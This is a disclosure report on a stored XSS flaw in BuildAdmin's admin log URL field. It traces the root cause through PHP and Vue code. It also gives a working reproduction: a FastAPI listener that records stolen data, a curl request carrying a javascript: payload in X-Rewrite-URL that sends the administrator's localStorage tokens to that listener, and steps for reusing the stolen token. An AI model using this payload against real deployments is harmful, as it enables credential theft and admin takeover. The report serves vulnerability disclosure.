BuildAdmin Vulnerability Report

Software: BuildAdmin

Developer or vendor: build-admin

Code repository: https://github.com/build-admin/BuildAdmin

1. Stored XSS in the URL Field of the Admin Log

Brief description:An unauthenticated request can store a javascript: script in the admin log, and the script runs in the backend when an administrator clicks the entry, taking over the victim’s account.
Affected versions:1.0.1 to 2.3.9
Introduced in:BuildAdmin commit 49349b38
Preconditions:An administrator clicks the open button in the URL column of that entry in the admin log list.

Root Cause

The backend application registers the AdminLog middleware (app/admin/middleware.php:4). It writes an operation log for every POST and DELETE request (app/common/middleware/AdminLog.php:19-20, auto_write_admin_log defaults to true), and requests without a session are logged as well. The log fields are assembled by record() in app/admin/model/AdminLog.php:

# app/admin/model/AdminLog.php:145-153    commit 26daeaf24f
self::create([
    'admin_id'  => $adminId,
    'username'  => $username,
    'url'       => substr(request()->url(), 0, 1500),
    'title'     => $title,
    'data'      => !is_scalar($data) ? json_encode($data) : $data,
    'ip'        => request()->ip(),
    'useragent' => substr(request()->server('HTTP_USER_AGENT'), 0, 255),
]);

request()->url() reads the HTTP_X_REWRITE_URL request header first and falls back to REQUEST_URI:

# vendor/topthink/framework/src/think/Request.php:414-424    commit 26daeaf24f
public function url(bool $complete = false): string
{
    if ($this->url) {
        $url = $this->url;
    } elseif ($this->server('HTTP_X_REWRITE_URL')) {
        $url = $this->server('HTTP_X_REWRITE_URL');
    } elseif ($this->server('REQUEST_URI')) {
        $url = $this->server('REQUEST_URI');

The client supplies that header, and record() performs no scheme validation before writing it into the url field unchanged.

The URL column of the admin log list uses the url renderer (web/src/views/backend/auth/adminLog/index.vue:91). The open button assigns the cell value to location.href:

// web/src/components/table/fieldRender/url.vue:32-38    commit 26daeaf24f
const openUrl = (url: string, field: TableColumn) => {
    if (field.target == '_blank') {
        window.open(url)
    } else {
        window.location.href = url
    }
}

A log entry that begins with javascript: therefore executes when an administrator opens it. The frontend keeps the admin token and refresh_token in adminInfo in localStorage (web/src/stores/adminInfo.ts:54-56), and a script that reads this key obtains the administrator credentials.

Reproduction Environment

Prepare PHP 8.2, MySQL 8 and Node.js 22 as the official documentation describes, then clone the source and start the installer:

git clone https://github.com/build-admin/BuildAdmin.git
cd BuildAdmin
composer install
php think run

Visit http://127.0.0.1:8000/ and complete the installation in the browser. The installer builds the frontend automatically. Set the database to buildadmin_com, the administrator account to Admin, and the password to Admin@12345.

On the attacker host, run a service that records requests:

import html
from pathlib import Path

import uvicorn
from fastapi import FastAPI, Request
from fastapi.responses import HTMLResponse

LOG = Path("stolen.log")
app = FastAPI()

PAGE = """<!doctype html>
<html><head><meta charset="utf-8"><title>stolen adminInfo</title></head>
<body style="font-family:monospace;padding:24px">
<h2>stolen localStorage.adminInfo</h2>
<pre style="white-space:pre-wrap">{data}</pre>
</body></html>"""


@app.get("/steal")
async def steal(request: Request):
    data = request.query_params.get("d", "")
    with LOG.open("a") as f:
        f.write(data + "\n")
    return HTMLResponse(PAGE.replace("{data}", html.escape(data)))


@app.get("/log")
async def log_page():
    data = LOG.read_text() if LOG.exists() else ""
    return HTMLResponse(PAGE.replace("{data}", html.escape(data)))


uvicorn.run(app, host="127.0.0.1", port=18999)

Start it:

uv run --with fastapi --with uvicorn python server.py

In the steps below, 127.0.0.1:18999 stands for that host and port.

Reproduction

Send a failed login request without a session, carrying the script in X-Rewrite-URL:

curl -s -X POST 'http://127.0.0.1:8000/index.php/admin/index/login' \
  -H "X-Rewrite-URL: javascript:void((new Image).src='http://127.0.0.1:18999/steal?d='+encodeURIComponent(localStorage.getItem('adminInfo')))" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'username=xssprobe&password=wrongpass'

The response reports the failed login, and the log already holds one more entry:

{"code":0,"msg":"验证码ID不能为空","time":1794450578,"data":null}
mysql> select id,admin_id,username,url from ba_admin_log\G
*************************** 1. row ***************************
      id: 1
admin_id: 0
username: xssprobe
     url: javascript:void((new Image).src='http://127.0.0.1:18999/steal?d='+encodeURIComponent(localStorage.getItem('adminInfo')))

Log in to the backend with the administrator account and open Admin Log under Permission Management. The entry with ID 1 and admin username xssprobe is there, and the URL column shows the content beginning with javas:

Click the open button in the URL column of that row, and the script stored in the log runs. The attacker host receives the administrator credentials:

{"id":1,"username":"admin","nickname":"Admin","avatar":"/static/images/avatar.png","last_login_time":1794450596,"token":"d894fb9c-49b7-4d42-acd0-264c8c4815f8","refresh_token":"","super":true}

The listener also displays this request:

Request the admin list with the token from it. The endpoint returns the group of the super admin together with the account details:

curl -s -H 'batoken: d894fb9c-49b7-4d42-acd0-264c8c4815f8' -H 'server: true' \
  'http://127.0.0.1:8000/admin/auth.admin/index?limit=2'
{"code":1,"msg":"","time":1794450635,"data":{"list":[{"group_arr":[1],"group_name_arr":["超级管理组"],"id":1,"username":"admin","nickname":"Admin","avatar":"\/static\/images\/avatar.png","email":"admin@buildadmin.com","mobile":"18888888888","last_login_time":1794450635,"last_login_ip":"192.168.64.1","motto":"","status":"enable","update_time":1794450635,"create_time":1794450550}],"total":1,"remark":""}}

Write the stolen adminInfo into the browser’s localStorage unchanged and open the admin management page in the backend. It opens as the super admin: